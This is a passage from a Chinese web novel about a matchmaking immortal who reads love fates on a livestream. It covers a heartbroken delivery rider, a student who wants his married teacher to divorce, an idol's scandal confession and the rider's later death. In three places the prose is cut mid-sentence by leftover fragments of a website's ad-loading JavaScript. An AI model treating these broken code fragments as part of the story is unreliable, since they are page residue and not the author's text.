【结合刚刚他的发言和行为,他好像那种,和顾客起冲突了之后会往人家饭菜里放刀片和虫子的人……感觉好恐怖】 …… 【这个点正是点外卖的高峰期吧,你不去跑单,跑来抢什么名额】 【原来我的机会是被外卖小哥抢走了,气得我这就打开x团点了三份吃的】 【替骑手谢谢你,好人好心送单的清汤大老爷】 …… 纷杂的讨论中,莺芝稍微打量了一下对方的面庞及五官,旋即微笑着道:“把生辰八字,出生地,姓、名等发给我吧。” 隔着屏幕,即便能够看到对方的五官样貌,也难以如同真正面对面那样,准确无误地观测出对方的信息,毕竟电子屏幕会让人的五官面孔等有微妙的改变和失真。 为了保证结果的准确,莺芝还是选择让对方把资料都发来。 臻爱至上几乎要贴到镜头上的脸稍微远了一些,他“好”了一声,操作着手机,把相关信息发送到了莺芝的对话框中。 ——潘永福,男,十九岁。 出生于宁合乡…… 把生辰记下,莺芝提点缘笔在姻缘簿上写下八字,脑中过了一遍对方给出的其余信息以及对方的面孔,阖眼运起仙力。 片刻后,她睁开眼,看向屏幕上的对方。 “你想‘算’些什么?” 【不应该是先问要算什么再去算吗?这都算完了才问,是不是有点外行……】 【听说有算卦的隔空就推出了任柏承出轨的事,慕名来看看,怎么感觉我要失望了】 【啊,就闭闭眼就行了吗。不用扔个铜板抽个签卜一下六爻什么的吗】 …… 【我真没有QAQ:别急啊你们,看看再说呗,我觉得主播没准是把这人的姻缘相关全都算出来了,然后问对方想知道哪个呢?】 【骂谁二次元呢:真的假的,虽然我相信小莺姐姐,但是你说的这也太玄乎了……】 【一只浪迹瓜田的猹:我端好碗了,新瓜来,新瓜四面八方来!】 …… 屏幕前,臻爱至上把着手机,不知道是不是也有点怀疑起了这个主播的实力,鼻翼翕动了一下。 连线后,他倒没有之前刷弹幕时给人的极端感了,有点钝钝的:“我想算,她是不是真的爱我……我们到底还有没有可能……” 莺芝没有插嘴,因为对方看起来还有话想说。 “我十六岁和她在一起,一直到现在,四年了,但……我觉得我好像越来越看不懂她的心意了。就在前几天,我们分手了……分手…我做梦也想不到,这件事会出现在我的身上……” 【不是兄弟你等会??夺少岁在一起?过去几年了?你夺少岁?夺少??】 【他竟然才十九岁吗……我还以为是个四十岁的大叔。。好沧桑啊】 【我差点把手机掉麻辣烫里,不到二十的人,怎么把自己弄成这样的,也太邋遢太寒碜了吧】 【我弟就十九,代入一下,受不了了,我弟要是把自己混成这样我高低给他脑壳锤爆】 …… “她是否真的爱你,你们是否还有以后,你是要问这些,对吗?” “……对,就这些。”臻爱至上声音低而哑,像是好久没喝水,又像是喊了太久累了嗓子,“如果你能算出来的话……” “可以。” 莺芝点点头,把对方想要得知的内容一一告知: “忽略她曾经对你是否是真爱的前提,现如今,她对你已经没有了感情,你们两人的缘线会越分越远,再无交汇。” 臻爱至上的镜头赫然发生了剧烈的晃动,似乎是他从蹲着的姿势变成了站立,声音也霍然拔高:“——怎么可能?!” 一声过后,似乎意识到自己的态度有点过了,他又陡然压低了声音,恍似喃喃:“……你到底,会不会算啊。” “事实正是如此。”莺芝没有被指责的愤怒,依旧笑容淡淡,温声说道,“你们没有以后。” “怎么可能……” 臻爱至上镜头又晃了几晃,不知道他是在踱步还是踉跄了几步,只有声音透过网络传进了直播间,“她之前明明那么爱我…那么依赖我……这才几天过去,就……可我真的好爱她……” 莺芝笑容淡淡,一双乌眸清泠平静:“过往不代表如今,而且,你非她正缘。” 【我嗅到了苦情戏的气味】 【也就是说,男的来问和几天前分手的前女友还有没有可能,前女友是不是真的爱他,得到的结果是,前女友不爱了,俩人也不可能了。】 【几天前分手的,现在就完全没感情了,我有个不好的猜测……】 【我男朋友要把自己弄成这样我也分手,饭都吃不下】 【有谁注意到了主播说的‘你不是她的正缘’,感觉说法有点微妙啊】 …… 【履行摸鱼职责:想听故事啊,小莺姐姐,给他个机会,让他讲讲他的故事呗!】 【晚间生物:+1】 【骂谁二次元呢:+1】 …… 臻爱至上似乎也注意到了这些起哄的网友们,又是一段剧烈的晃动后,镜头重新稳定,他坐到了地上,眼皮耷拉:“我……” 看清了观众们的要求,莺芝没有出言制止臻爱至上,由着他继续往下说。 “我……没什么好说的。”臻爱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 至上轻轻地抽了一口气,马上要贴到屏幕上的鼻子耸动了一下,“……没什么好说的。” 又重复了遍前一句话,他脑袋旁边的空隙映出周边的景象,身后马路上有车辆驶过,高速划过的车灯拉出阑珊的光带,斑驳耀眼。 似乎整理好了心情,臻爱至上勉强地勾起嘴角露出了个笑,“谢谢主播,我下了。” 说完,不给所有人反应的时间,属于他的视频窗口就消失不见。 【……???】 【他就这么走了??】 【好吧……好像也没谁规定一定上了麦就一定要把自己的事讲一下】 【总有种肚子疼死结果裤子都脱了便意又荡然无存的既视感,难受,难受啊】 【这一卦简直虎头蛇尾的……怎么想怎么不得劲】 …… 莺芝倒是不觉得有什么,这人的缘线基本走势她已经完全清楚,曾经如何,未来如何,她大概都能知道,没什么好奇的。 眼看观众们的情绪受到了一阵影响,抗议谴责着来放了个开头就溜了的小伙子,莺芝表情不变,再次开口。 “今日只能为大家做三次咨询,还剩下两次……” 以她刚刚再次实验过后的亲身体会估算得知,现在这被压制后的仙力,这样隔着屏幕观缘的话,每天也就只够完整地进行几次上下。 为了不出错,莺芝临时决定,把每天的次数做一个限制。 超出三次后,就有失误偏差的风险了。 【还剩两次要怎么选人,还是先说先得吗?那我我我我!!】 【我来我来,主播看我!】 【我送礼物了主播快抽我!】 …… 不知道是谁带的头,各种应援棒等小礼物很快刷了满屏。 弹幕上关于任柏承的内容和刚刚那位臻爱至上的消息不见少,又凭空多出了许多争论今天的“第二卦”该归属于谁的内容,一时间好不热闹。 要说所有在直播间的观众们都完全相信了莺芝的“算卦本事”,那倒也不尽然,但反正凑凑热闹,也不会损失什么——所以,到了这时候,很多潜水的也都出来冒泡,加入了讨论。 莺芝微微沉吟,给出了暂时的答案: “我开放连线,有意向、想要寻求帮助,或有想来咨询的大家,可以尝试加入连线——至于连线后是否要将自己的长相暴露,不做强制要求。” 也就是说,只要是想咨询,无论想不想拍到自己都可以抢,对于是不是本人出镜她都不管。 反正不出镜的话,要私下发给她照片就是了。 这也是莺芝能想到的,相对公平的办法。 她此话一出,弹幕风向又是一变,大家都跃跃欲试了起来。 大概解释了一下自己的意思以及抢到连线后的流程,莺芝笑着宣布:“我现在就将连线权限开……——你好,‘我的姐姐大人什么时候离婚’。” 【………………笑死我了笑死我了什么啊这ID!】 【脑补出一万字的爱恨情仇大戏了。】 【上一秒,没抢到名额想骂人,下一秒,被竞争对手名字震撼】 【好直白好大胆,看名字我都感觉已经猜到了接下来的故事走向,替姐姐来算的啊!】 …… 一分为二的屏幕上,一边是穿白裙挽发髻,含笑端坐的莺芝,另一边,则对准了一处桌面。 铺着粉色桌布的桌面上,繁多的物品被摆放得整整齐齐,笔记本电脑及外接的键盘都一尘不染,键帽都是粉紫色的猫咪,可爱异常。 一眼看去,整个画面便给人一种干净整洁的感觉。 随着莺芝的招呼声响起,一个声音也从画面外飘了进来:“啊,竟然是我抢到了……!” 两秒后,镜头调转,一张脸出现在了画面中。 那人留着一头利落的黑色短发,五官漂亮,隔着手机也能看出皮肤很好。说话间,眼眸中的欣喜和惊讶生动鲜明,极富感染力。 但,直播间的观众们却没有几个夸赞对方的外貌。 【……………………】 【??】 …… 【受不了了,把镜头转回去,我要看猫猫键盘,要看粉色桌子,不要看人】 【我服了,猫我都看了,正等美女呢,怎么是个男的?】 12. 第 12 章 “男的怎么了,也没人说男的不能喜欢粉色不能喜欢猫咪呀?” 出现在屏幕中的男生完全不在意网友们的讨论,低声念出几条嘲他的弹幕,笑得眼睛都眯了起来: “火气这么大,一看就没对象吧?也是呢,漂亮女性现在都不喜欢这么粗鲁又刻板的人了哎。” 【我x,这小子太欠扁了吧!】 【……tm,戳人痛脚天打雷劈啊】 【速算,速滚,不想再看到他】 【要算什么赶紧拿出来,主播,给他个坏结果让我们开心一下】 …… 对于这样做派的人,莺芝也颇觉新奇。 趁着对方刚亮相,和其余观众“友好交流”的时间,她不引人察觉地悄悄打量着对方的言行。 这位观众看着年纪不大,约莫有二十岁上下的样子——鹅黄底色的衬衫,被根尾端系有各色明艳珠子的链坠压着,手腕间缠着条彩色的绸巾。说话时也轻声细语的,应该是刻意调整过的,听起来轻柔和软,不含攻击性。 而随着他动作间,还能依稀看到,被鬓边稍微有一点点长的头发遮住一些的水红色耳钉。 ……和珍兽院的那些化了形的孔雀有点异曲同工之妙啊。莺芝悠悠地发散着。嗯、还有点像她没成仙时见过的那些雄性同类。 给够了他说话的时间,莺芝结束围观状态,再次出声打招呼,中断了他和其他观众们的对话:“你好,我的姐姐大人什么时候离婚’。” “你好呀,小莺姐姐。”男生眼睛弯弯地看向莺芝,丝毫没有被公开念羞耻ID的羞耻感,反而还有点光荣似地,稍微抬了抬下巴,“是我。” 【槽点太多不知道从哪里开始了】 【坐等他哭着下麦】 【桀桀桀,哥哥我啊,最喜欢看这种小弟弟碎一地呢,be快点的】 【不行,我不允许,弟弟好漂亮,好乖巧,喜欢,爱看!】 【弟弟,我觉得你的姐姐或许需要一个弟妹呢你意下如何】 …… “不会的,我的姐姐大人不需要弟妹。因为这个位置是留给她的。” 男生眉眼弯弯,一点也没有出现在大众面前被许多人看到的拘谨,始终坦坦荡荡的:“小莺姐姐,我想知道,我的姐姐什么时候离婚,我什么时候会有机会。” 【……】 【?】 【你的这个姐姐,她正经吗?她真的是亲姐吗?】 【我原先也以为是亲姐,但是看现在……不是吧,不能吧,肯定不是亲姐吧?】 【这要是亲姐,直播间就该没了吧】 …… 莺芝一僵。 又会危害到直播间?不要啊! 好在,男生很快补上了下一句,冲着镜头翻了个白眼:“想什么呢你们,当然不是亲姐姐啊。是我暗恋的一位优秀女性,她比我年长,当然要叫姐姐。” 莺芝不着痕迹松了口气。 还好还好。 弹幕观众们说得那么严重,吓到她了。 “把你的信息发给我。” 男生脸上露出两分犹豫:“我只知道她的生日和家乡,没有她详细的出生时间,也没有出生地……本来是打算最近去收集一下的,但是没想到今天就抢到了机会……能不能用我的来算?就像热搜上的那个,通过那个女生算出任柏承的那种。” 莺芝沉吟片刻,实话实说道:“如果你们在姻缘方面有深层次的纠缠,那是可以的。但如果只是你单方面的心意,她对你没有任何感情,看到的内容会很模糊。” “而且,”她顿了顿,语气严肃了一些,“若她与你没有太多干系、对你没有造成什么伤害,那关于她的事,我即便能看到,也不能透露太多。” “啊,应该的,保护隐私嘛,我知道!” 男生眨了眨眼,放下心来,操作起了手机。 他语气松快:“没关系,模糊也可以。我要知道的也不多,只要能知道她什么时候离婚就可以了。” 【爱上了有夫之妇……还盼着人家离婚,你是真没素质啊。】 【y1s1,真的太离谱了,还跑来算人家什么时候离婚】 【万一是真爱呢?感觉弟弟很喜欢姐姐啊。】 【这个年纪的喜欢能维持多久啊,而且退一万步,真的有这个必要吗?破坏人家家庭】 …… 阮晞,二十岁—— 等等……什么? 莺芝的视线扫过对话窗口中男生发来的信息,停留在了最后一条上。 在他的资料之后,男生还把他那位“姐姐大人”的姓名年龄生日,以及照片发了过来。 照片上,一位身穿深色西装套装的女性站在黑板前,正在说着什么。她黑发盘起,鼻梁上架着细框的银边眼镜,整个人自带一股典雅的书卷气息。 但,这都不是重点。 重点是—— 无论是从外表看,还是依照阮晞给出的出生年月来算,这名女性,年纪都在四十周岁以上。 虽然自己不是凡人,但莺芝并不是不了解,据她所知,当今的凡人们,能够产生感情的“年龄差”、尤其是女性为较大一方时,甚少有达到十岁的,更况论二十。 放在阮晞这位“姐姐大人”身上,若她是结婚早的,那几乎都可以和阮晞妈妈同龄了。 这,确实是很特立独行了。 莺芝又打量了一眼屏幕另一侧的阮晞。 对方也正关切地关注着她的一举一动,见她看来,双眼中期盼之色几欲溢出。 莺芝没有说话,她催动仙力,提起点缘笔在姻缘簿上书写下阮晞的信息。 闭上眼,莺芝回想着阮晞的面容和八字,在指尖红线的运转下,仔仔细细过了一遍他缘线之上所有与“姻缘”相关的缘。 而后,为确认所看到的内容,她挥去阮晞的八字信息,根据观测到的那位女性的信息,又一次闭上了眼睛。 【主播怎么不说话,看得我好紧张。】 【弟弟,你跟姐姐要是be了可千万别伤心啊,看看这里的姐姐!】 【属于我的漂亮小奶狗什么时候能天降?】 【别梦了,还梦呢,不是都说白幼瘦审美不行吗,怎么你们还这么喜欢白幼瘦的男的?】 【关你屁事自信丑男退散】 …… 期间,和莺芝平分了一半屏幕的阮晞没有再出声跟观众们互相挤兑,而是连呼吸都放轻了许多,目不转睛地看着莺芝,等待着她给出结果。 终于,莺芝睁开了眼。 她看向阮晞,微笑着启唇:“她不会离婚。” 所有人都看到,从出现在屏幕里就一直表现得泰然自若的男生突然僵住,脸上的笑容也直接凝固。 ——不会离婚,也就意味着阮晞的第二个问题的答案,是“无论什么时候,都没有机会”。 片刻后,满屏的幸灾乐祸和早知如此中,他有些急促地开口:“为什么?” 莺芝:? 这孩子问的什么话? 这还有什么为什么,夫妻感情和睦共到白头是一件需要问为什么的事吗,这不是再正常不过的么。 阮晞语速快了许多:“现在这个时代了,谁的婚姻能够维持一辈子啊,我可以等的啊,无论多久,我都能等的——小莺姐姐,你不要骗我,你告诉我,她什么时候会离婚?无论答案是多少年后,我都可以等。” 说着,他再次看着莺芝,眉宇间多了一丝恳切。 莺芝叹了口气,她摇了摇头,再次重复:“她不会离婚,她和她的丈夫很恩爱,家庭和睦。” “……”阮晞彻底沉默了下来。 几秒后,他再次扬起脑袋,在或嘲讽或啧啧的观众发言中,望向莺芝。 “小莺姐姐,你是行家,那,是不是也能帮帮我?就像很多算卦的说的那种,能给厄运加身的人改命,给灰暗的事业改运那种——给我、或者说她……改改缘?” 莺芝:“……” ? 毁人姻缘? 小伙子,你知不知道,要是换个之前的姻缘仙在这里,都要揍你了! 【我嘞个清汤大老爷啊,这哪里是什么奶狗弟弟,这是索命阎王啊】 【看上人家了但是人家家庭美满所以就想办法拆散?太离谱了吧……不怕被骂吗】 【放娱乐圈或者那些有钱人圈子里,这种事都还得藏着掖着呢,这小东西也真敢说啊】 …… “你们这行,既然能拉媒牵线,就肯定有方法断掉一段缘分的,对不对,小莺姐姐?”阮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晞却像是抓住了什么稻草,忙又追补道。 莺芝默了又默,终于压下了蓬勃的说教欲。 她看向阮晞,笑容落了许多,乌黑的眸子深邃而幽宁: “断缘,是断掉孽缘和不该有的缘。本就圆满的缘,禁止以外道破坏,这会背上巨大的因果——” “可……” “——另外,我还有些话要和你说。” 莺芝打断了阮晞,刚刚观缘时看到的内容在脑中又过了一遍,她眸光幽深,继续说道,“那位女性,她与你是有缘分不假,但,只有一段短暂的师徒缘分,没有姻缘。” “我观她生平,家庭幸福,事业有成,婚姻美满,是顺遂无忧——若你真的对她有真情,便更不该破坏这份圆满。” 她语气严肃,再次重申了一遍:“你的心意如何,终归是一厢情愿。无论怎样,‘改缘’的念头绝不能有。这对人对己都没有好处。” 阮晞愣住。 似乎被她这一大通话砸懵,他喃喃:“我没说她是我导师啊……” 【……我嘞个清汤大老爷啊!这哪里是什么奶狗弟弟,这是真真正正的索命阎王啊!】 【YY自己的老师,还盼着人家离婚,我去,nb】 【你猜猜你老师要是知道你喜欢她,她是会想死呢还是会想死呢还是会想死呢】 【谢邀,我是老师,代入感极强。这是上天派来惩罚我小时候偷我妈钱买零食的吗?】 【但凡换个角度,这件事就已经热搜见了。。一起来的绝对还有给那个可怜老师的处罚公示】 …… 后知后觉意识到自己刚刚说了什么,阮晞脸色一白,顾不上其他许多,镜头彻底黑了下来。 “——这种学生,就该送去给雷公当学生。老师脾气好点就不知道自己是什么身份了。” 堆满书文的案桌间,一道声音啧啧响起。 文隽一个激灵,侧头看去,一个怀抱书卷身着长袍的女子正站在他身后,探头看着他掩在摞起书文后的手机屏幕。 见他回头,那女子咧嘴一笑,单手伸出大拇指划过脖颈,做了个威胁的手势:“我寻思你怎么这么安静,原来是在悄悄偷懒,谁家一殿副主这样啊?” 不等对方回话,她英气的眉挑起,睼了一眼那明显是被遮起来刷的手机,“又偷偷翻了壁障,刷凡间的网络了?你的功德是真够多啊,敢这么挥霍。” 被抓了个现行,文隽咳嗽了一声,状似无事发生般把手机往怀里又放了放:“公文太多了,要劳逸结合——文桐,你今日的祈愿处理完了?” 被他叫做文桐的仙子翻了个白眼,全当没听见他的话,自顾自道:“那女主播还挺好看啊,我听她说什么观缘的,搞玄学的?” ……这就是对彼此太熟悉的坏处,想转移话题赶人走都不容易。文隽心中叹气,也不再遮掩,把手机重新架好。 小小的屏幕里,白裙的女性正严肃地纠正着旁边男孩的想法,文隽摇了摇头:“……不是,她是姻缘殿的仙子。” “姻缘殿的下凡搞直播了?”文桐惊讶,“去下边做这种事,吃力不讨好,图个什么?” 似乎想到什么,文隽有点无奈地笑了一声:“……可能是图业绩吧。” 文桐双眼圆睁,表情有些惊悚地看向文隽。 文隽点头。 文桐肃然起敬:“好伟大的神仙。” 她彻底不奇怪为什么文隽会在想摸鱼的时候挂到对方直播间了,是她她也想凑凑热闹。 在自己工作累了的时候,看看对工作干劲满满的——谁说不是一种鸡汤呢? 不过…… “还是你自己看吧,我怕被同化成为工作狂。”拍了拍文隽肩膀,文桐唏嘘着走远。 不速之客终于走远,文隽摇摇头,重新把视线放到了屏幕上。 他只是突然留意到时间,想起这个自己没少出力的直播间是不是该解封了,就挂了能够翻越壁障寻觅到低处“信号”的天庭软件,看看对方现在是什么情况。 但是…… 咳,这直播还挺有意思的,跟他总爱听的那些说书的一样精彩。 手机前,莺芝看着阮晞匆忙退出连线,叹了口气。 “今天还有一位咨询的名额,我现在开放权限——” 13. 第 13 章 第三次的“卦”算完,莺芝没有过多拖延,简单做了结束语后,就关闭了直播间。 今天的三次观缘外,还多了一次给阮晞那位老师的简单观算,莺芝仙力基本已经消耗殆尽,实在无法再支撑。 草草洗漱收拾了一下,她一头栽进被子,睡了过去。 翌日一大早,莺芝仍然有些萎靡,她在楼下买了点早餐应付,而后又马不停蹄赶去了庙中。 直到在月老像附近找了处长椅坐下,她才微微松了口气。 缕缕香火和祈愿之力汇聚成的无形灵力如同小溪,缓慢且均匀地向着莺芝所在的方向飘来,她委顿的精神渐渐抖擞,脸色也红润了起来。 ——香火真好啊! 感受着回转的状态,莺芝没有立刻离开这里的想法,打算赖在这里消磨时间,直到直播快开始再回去。 挑了个舒适的坐姿,她拿出手机,点开文隽提到过的“许多人在用”的社交软件。 账号是前天临时注册的,ID也没什么新意,和直播软件ID同名,就叫“AA红线小莺”。 除了注册账号那次,这还是她头一次打开这软件。 五花八门的消息铺天盖地,内容也是杂七杂八,莺芝一时有些眼花缭乱,不知道看哪些才好。 好在软件的界面做的还算基础,并不会让新手觉得功能太多太繁杂。莺芝左右点点,漫无目的地翻阅着。 凡间人们的吃穿住行,生活里的点点滴滴……——嗯? 莺芝目光一顿,停在了一条内容上。 ——一个平平无奇的id:#放过老师吧##活成了家长放心的样子#(/墨镜)是的我是老师,我的生活已经很苦了,没想到学生想的是让我更苦,毕业后才知道上学时候不理解受众是谁的丑衣服们原来都是卖给我们的。我只想说,这辈子最怕听到的一句话之一就是:老师我喜欢你。 这……怎么觉得有点熟悉啊。 思索间,莺芝循着本能,指尖戳向这条消息最前端的两个蓝色字组之一。 #放过老师吧# 屏幕上的页面倏地一变,随后,莺芝双眼微微睁大。 高居第一条的那条动态配了段短短的视频,随着她点进来,视屏自动播放起来,传出的声音,赫然是她的声音。 “……只有短暂的师徒缘分……不该破坏这份圆满……” 莺芝:“……” 什么情况。 再往下滑,一连多条,全都是相关的内容和讨论。 什么师生,姐弟,插足,破坏,单恋等等等等,还有在挖“我的姐姐大人什么时候离婚”以及“姐姐大人”的真实身份的。 毫无疑问,这个所谓的“#放过老师吧#”,在讨论的事就是她昨晚的直播,阮晞的那一段。 莺芝讶然的同时,又难免有些庆幸。 还好,还好她昨晚从头至尾都没有提到那位女性的姓氏,也没有提到她更多的信息,即便这些人能够从阮晞的长相判断出他的真实身份,从而找到他所在的学校,也难以从线下把那位被殃及牵扯进来的无辜老师身份给彻底扒出。 “凡人的‘网络’还真是厉害啊……” 莺芝不由地心生感慨。 昨晚才发生的事,同时在观看的也就只有万余人,结果这转眼就被更多人关注到了。 这么想着,她脑中蓦地灵光一闪——难道这就是他们提过的“热搜见”的软件? 退出词条,莺芝有目的地翻翻找找,终于找到了传说中的热搜榜单。 被她一眼注意到的,赫然是带有“任柏承”的相关词条。 #任柏承承认隐婚# #任柏承妻子出面道歉# #任柏承说自己快当爸爸了# …… 其中,#任柏承退团#毫无意外位于榜首,后边还跟了个火热的“hot”标识。 任天博他公开承认婚姻了吗,昨晚直播时没有听观众们说呀……难道是今天才发生的? 莺芝点进最上方的词条。 一条由顶着团名以及“任柏承”综合ID的用户、在一个小时前发布的动态位于首位。 【大家好,对不起。】 其下附带有一张图片,图片白底黑字,印刷体清晰。 【我是任柏承,在这里对一直以来支持我的粉丝们说声抱歉。 对不起,我辜负了你们的信任和支持,我欺骗了你们。 我和我的太太在幼年相识,一直陪伴彼此。在接触到偶像行业后,我瞒着家里休学去做了练习生,我的太太也是知道的,她支持我,陪伴我。所以,哪怕我出道了,要一直走这条路了,我也想要给她一个安稳的结果,所以我瞒着公司和所有人,在我到达法定结婚年龄后,就和她领了证。对此,我并不后悔。 我知道,作为一名偶像,单身是基本的要求,公司也明确告知过我,但我难以舍弃我的太太,也难以舍弃一直热爱的偶像事业,所以欺骗了公司,欺骗了大家,一直过去了这么多年。 我的太太一直能够理解我。但现在,她怀孕了,我马上要做爸爸了,我想,也是时候公开了。我不想让我的孩子也和我的太太一样,生活在见不得光的阴影下,明明他们是名正言顺的。我知道,我必须要在家庭和事业中做出取舍了。 在这里,我要向粉丝们,向公司,向所有人说一声对不起,很抱歉,因为我的任性和不成熟,让这份谎言持续了这么久。很抱歉,因为我的私心,让大家承受了不该承受的伤害和损失。 从今天起,我将退出团队,回归幕后,回归家庭。 对不起,谢谢。 ——任柏承。】 莺芝从头浏览到最后,微微挑了挑眉。 ……这任天博,是一点也没有提崔梦语的事情啊。 承认结婚,把所有的错归到“热爱偶像行业”和“不想辜负妻子”上,塑造出了一个痴情的,负责的,无奈的男性形象。 从崔梦语算卦到现在,三天了,这件事来来回回闹了三天了,他那一方一开始的应对举措是,给她警告,给崔梦语警告,并拒不承认。 不知道是不是这两天里发生了什么,比如崔梦语拿出了什么新的资料,或者他们私下里沟通、但崔梦语寸步不让,所以他不得不选择弃车保帅,后退一步以亡羊补牢及时止损……又或者是真的如他所说,他的妻子怀孕了,他并不想妻子受到太大的影响——

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 所以,他不得不做出了这样的决定。 莺芝并不知道到底是因为什么,又有什么考量掺杂在其中,她看着这张避重就轻的“道歉自白书”,只觉得有一点点滑稽。 而这条动态下方的评论区,毫无疑问,汇聚了无数哭天喊地以及冷嘲热讽。 其中,对他骂的最狠的,竟然都是一些ID中与他有关、且多是爱称和示爱的用户。 他虽然在声明中一字未提崔梦语,评论区却处处都是崔梦语。 以“隐婚”为遮羞布的内里,是“睡粉”“出轨”等要肮脏失格无数倍的真实——这是所有人都心照不宣的事实。 任柏承不提,不代表他人不知道。 评论区中,他翻来覆去地被骂,从父母到妻子,从他的外貌到人品,甚至连未出世的孩子都被拉了出来,“有其父必有其子”“你这种人生孩子也没屁x”等话层出不穷。 莺芝粗略浏览一遍,发出一声叹息。 人心复杂,人性更复杂。 任柏承出轨时到底在想什么,发出这张道歉书时在想什么,现在看着这些评论时又会想些什么,她不得而知。 他的妻子对他的所作所为会是什么心情,她更不得而知。 就连崔梦语看到这些内容时,会有什么想法,她也无从知晓。 但—— 不管怎么样,为自己做出的事承担责任,是每个人所必须的。 正如崔梦语选择道歉,选择投身公益,选择付出金钱和时间,也如任柏承退出团队,离开他一直无比在意的舞台和聚光灯,离开加身的关注和光芒。 而到了现在,也希望他们日后不要为自己做出的决定感到后悔。 压下心中生出的点点唏嘘,莺芝退出任柏承相关的词条,继续浏览起其他的内容。 一个词条接一个词条看过去,她对现世凡间的事有了许多新的认知。 又一次看过一个“老人不合规三轮车被没收崩溃大哭”的内容后,莺芝照例点击返回,榜单上的词条们已经自动刷新。 位于榜首的,挂着hot的,无疑还是“任柏承退团”。 但,在莺芝刚刚看过的那条标签位置,却出现了另一个陌生的句子。 #19岁男生意外死亡父母晒出聊天记录声讨前女友# 这…… 莺芝眼眸微微一凝。 不是她要多想,但,19岁男生,前女友——这两个元素叠加在一起,她很难不想到昨天才见过的那位…… 没有犹豫,她点开词条。 【峄城19岁男生潘某意外车祸死亡,父母悲痛欲绝,声称儿子是被其前女友所骗,出车祸前最后一通电话也是给此女所拨,怀疑这通电话说了什么影响了儿子精神,所以才会遭此意外,要求对方为此负责。小编介入后发现,该男生曾几年间前前后后为此女转账数十万,聊天记录中可见卑微地位,对此,你怎么看?】 【[视频][图片][图片][图片][图片][图片]】 视频和图片中,是一些聊天记录的截图,以及滚动展示的转账记录。 还有父母哭天抢地的谩骂声。 莺芝神色渐渐沉了下去。 14. 第 14 章 ——这里的“网络”是真的太厉害了。 半天时间过去,莺芝又一次发出了无声的感慨。 “十九岁男生意外死亡”的事件,一开始出现在榜单上时,只是挂了个后排的位置,但不知道是事件中哪些元素恰好符合了当下人们的关注侧重,很快,这件事就发酵得难以控制了。 到了下午,莺芝准备离开赖了大半天的庙宇时,该事件的热度已经甚嚣尘上,甚至一度能和榜单前排的“任柏承退团”事件比肩。 而待得今天的直播开启,这件事的关注度几乎要压过了任柏承的隐婚退团事件,隐隐有把它压在下边的趋势。 ——莺芝也有一直在关注这件事的风向,眼看时间到了,才退出软件,照常开启了直播。 直播一经开启,大批大批的观众就一窝蜂涌了进来。 对于这个出现远不到一周的小小直播间,他们已经等候多时。 其中,有进来后就嚷嚷着“任柏承事件”让莺芝为此赔罪负责的,也有被“学生暗恋导员还暗搓搓想要破坏对方婚姻”事件吸引而来、想要看看到底是个什么情况的,但,这些纷纷杂杂的讨论,都压不住一个声音—— 一部分以不知道谁为代表的人群、蹲守着直播间的开播,涌入后,毫不压抑声音地接连呼吁起让主播“主持正义”,“曝光骗子女”。 不到两分钟时间,弹幕已经完全被这部分人群所占领。 其中,依稀夹杂着几个彼此互相眼熟的ID。 【履行摸鱼职责:……我还以为进错直播间了,好恐怖的景象,这到底是几家人混在这里啊】 【骂谁二次元呢:他们说的这几件事,什么任柏承隐婚出轨,什么暗恋老师的学生,我好像都真实见证了……这么一想,我也是行走在吃瓜最前线了】 【骂谁二次元呢:但是那个女骗子是什么情况?今天热搜看到19岁小孩我还恍惚了一下,总觉得有点熟悉又不知道在哪里听过,难道也是这里见过的?我怎么没印象?】 【pinwomingzidebendan:原本不关注任柏承,不过作为在这里见证过全程的人,我白天还特地看了看他的声明,只能说好不要脸。】 【一只浪迹瓜田的猹:路上堵车来晚了两分钟,家人们,这什么情况?联合游行抗议?谁犯事儿了?】 【给予她温油ma:为什么死了人要来找主播帮忙“主持正义”?这些人干嘛来的?潘某是谁?女骗子是怎么回事?】 【晚间生物:虽然不知道潘某是谁,但“十九岁”这个,确实在小莺这里听说过一个,该不会是……】 【我真没有QAQ:那个送外卖的?主播没说过他的名字吧,难道他姓潘。】 【履行摸鱼职责:我x,你们一说这个我就想起来了,是那个看起来很可怜的外卖小哥吧?当时还想听听他的故事来着,但他直接下麦了。】 【履行摸鱼职责:不是吧,那小伙子人没了?】 【骂谁二次元呢:热搜挂了一天了,现在超多人关注,看这些人的架势,感觉好像大概也许可能……嗯,不好说。】 …… 满屏飞快刷过的弹幕,有的是客客气气寻求主播帮忙曝光,有的则是直接以“你有没有良心啊有良心的人能忍这事吗”为理由,强行要求莺芝正视他们的诉求。 红线小人扒着手机屏幕边缘,一一看过那些内容,整条线都抖动了起来——它气的发抖。 这些人怎么能这样,这不是威胁吗? 就算是潘永福那边的亲人发现了什么潘永福层在这里问过相关事件的痕迹,也没有资格这样来要求月仙大人吧? 月仙大人只是在这里开直播“算卦”,恰巧被潘永福留意到、抢到名额,所以两人发生了一些对话而已,凭什么就要“为他的去世负一定责任”、所以“必须”“在曝光恶女的事情上出力”? 莺芝指尖点了点它的脑袋,和缓了它的怒火。 她看向镜头,表情如常:“大家好,欢迎来到月老定缘直播间,我是小莺。今天的‘咨询’名额依旧是三个,名额条件与昨日一样,接下来——” 见她不回应,那些情绪激烈的临时观众们似乎也有些生气,部分人已经开始指责她的“冷血”。 莺芝全似没看到一样,噙着淡淡的微笑,准备宣布今天的第一次名额开放。 这时,手机屏幕上突兀噼里啪啦闪起了烟花的特效。 【[文思泉涌泉相报]送出盛世焰火x5】 【[文思泉涌泉相报]送出盛世焰火x5】 【[文思泉涌泉相报]送出…… 炫目耀眼的多彩烟花,一瞬间就占满了整个屏幕。 堪称光污染的灿烂焰火特效过后,弹幕区的消息都少了许多。 【骂谁二次元呢:妈妈呀,我见到大哥了。】 【骂谁二次元呢:还好我手机当初斥了巨资,不然也肯定要被这十几个焰火砸得卡出直播间……】 【晚间生物:……我的……粉丝榜的位置……】 …… 莺芝也有些诧异。 她已经不是完全的小白了,知道这些礼物意味着什么,而焰火作为直播平台最贵的一个礼物,不仅会让直播间被全平台播报,还会给主播带来许多的热度。 这个完全没印象的ID一次送这么多……搞不好是有别的用意。 莺芝斟酌了片刻,直视镜头开了口: “……礼物不能左右‘算卦’名额的甄选,若你想要报名,还是需要亲自来连线。” 人话:砸钱也没有后门走。 